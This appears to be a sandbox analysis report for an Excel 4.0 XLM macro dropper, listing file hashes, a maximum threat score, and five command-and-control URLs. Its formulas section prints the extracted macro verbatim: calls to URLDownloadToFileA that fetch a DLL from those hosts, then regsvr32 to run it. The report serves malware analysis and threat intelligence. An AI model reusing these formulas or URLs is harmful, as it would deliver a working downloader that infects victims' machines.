daae77330a0c9bbda971d14d95064033df7ccff6302e79c2476a1c46d24971ee

General

Target

daae77330a0c9bbda971d14d95064033df7ccff6302e79c2476a1c46d24971ee
Size

31KB
Sample

241119-w3yn8szkaw
MD5

afef52d5ae5f03ccee8326e85223487b
SHA1

5e2655e6262ad751c64492d245630cd2801aadad
SHA256

daae77330a0c9bbda971d14d95064033df7ccff6302e79c2476a1c46d24971ee
SHA512

7f5bbd4ebcb7d6399be573b01733f2ea80ec0904ab98436710e56e6274132d326f333a61338cab074fdef0daa3b8a8af74fd359e5eb5908e35022e1e868e94a0
SSDEEP

384:NupPr/nHYzzaivuTc4OVdgzq7apRI6ZIwDyWS4UyRMCYMVM7btUMLW7joHqgmJyL:Qqt2/OXWT+43SaMdbLWAy+IS

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://jetanahtarcilingir.net/wp-admin/dNZqOigWx5XCnSlZ/

http://formulationdrugstore.com/wp-includes/UTDuP5ti/

https://brutobrasil.com.br/pdf/LubLsUkjN/

http://flexaviationcenter.com/bin/mvd4h6/

http://flumedya.com/assets/zahEwukU/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://jetanahtarcilingir.net/wp-admin/dNZqOigWx5XCnSlZ/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://jetanahtarcilingir.net/wp-admin/dNZqOigWx5XCnSlZ/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://formulationdrugstore.com/wp-includes/UTDuP5ti/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/LubLsUkjN/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://flexaviationcenter.com/bin/mvd4h6/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://flumedya.com/assets/zahEwukU/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://jetanahtarcilingir.net/wp-admin/dNZqOigWx5XCnSlZ/

xlm40.dropper

http://formulationdrugstore.com/wp-includes/UTDuP5ti/

xlm40.dropper

https://brutobrasil.com.br/pdf/LubLsUkjN/

xlm40.dropper

http://flexaviationcenter.com/bin/mvd4h6/

xlm40.dropper

http://flumedya.com/assets/zahEwukU/